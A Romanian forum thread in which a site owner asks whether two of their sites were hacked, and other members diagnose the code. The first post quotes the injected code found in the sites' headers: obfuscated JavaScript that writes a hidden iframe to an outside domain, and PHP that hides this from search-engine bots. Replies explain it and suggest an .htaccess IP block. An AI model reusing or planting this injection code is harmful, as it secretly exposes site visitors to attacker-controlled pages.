hacking attempt or hacked?

[inscaun]

ce am gasit in header la 2 site-uri de ale mele..

<script type="text/javascript">function Decode(){var temp="",i,c=0,out=""; var str="60!105!102!114!97!109!101!32!115!114!99!61!34 !104!116!116!112!58!47!47!102!105!108!97!114!109!1 11!110!46!105!110!102!111!47!100!111!99!115!47!105 !110!102!111!46!104!116!109!108!34!32!115!116!121! 108!101!61!34!112!111!115!105!116!105!111!110!58!9 7!98!115!111!108!117!116!101!59!32!116!111!112!58! 48!59!32!108!101!102!116!58!48!59!119!105!100!116! 104!58!49!112!120!59!32!104!101!105!103!104!116!58 !49!112!120!59!32!118!105!115!105!98!105!108!105!1 16!121!58!104!105!100!100!101!110!59!34!62!60!47!1 05!102!114!97!109!101!62!";l=str.length;while(c<=s tr.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++; out=out+String.fromCharCode(temp);temp="";}documen t.write(out);}Decode();</script></head>

<?php /* search_bot111 */ $seau=array("google","yahoo","slurp","msn","live", "ask","altavista","aol");

$sebot=""; foreach($seau as $ua) if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }

if(!($sebot=="1" && sizeof($_COOKIE)==0)){ ?><script type="text/javascript"> </script><?php } /* search_bot111 */ ?>

nu prea imi dau seama ce fac..



aveti vreo idee?

[birkof]

Sigur ceva iti scrie in fisierele alea.
Scriptul iti pune un iframe in pagina ta (absolut, top, left 0 si invizibil )
Si cu php iti verifica agentul, daca e unul din robotii aia din array atunci nu-ti mai ruleaza scriptul.
Insa eu stiam cum ca roboteii astia nu vad javascript, se pare ca lucrurile evolves too fast

Toate bune.

[Bogdan Citoiu]

inlocuieste semnele de exclamare (!) din variabila var cu virgula (,) si poti sa vezi pe http://jdstiles.com/java/cct.html ce iti scrie functia aia decode().

[haos]

inlocuieste semnele de exclamare (!) din variabila var cu virgula (,) si poti sa vezi pe http://jdstiles.com/java/cct.html ce iti scrie functia aia decode().

Adresa din iframe este fi lar mon .info/docs/info.html. Cel mai bine ar fi sa interzici accesul acestui site.
Pune codul asta in .htaccess

Deny from 79.135.187.40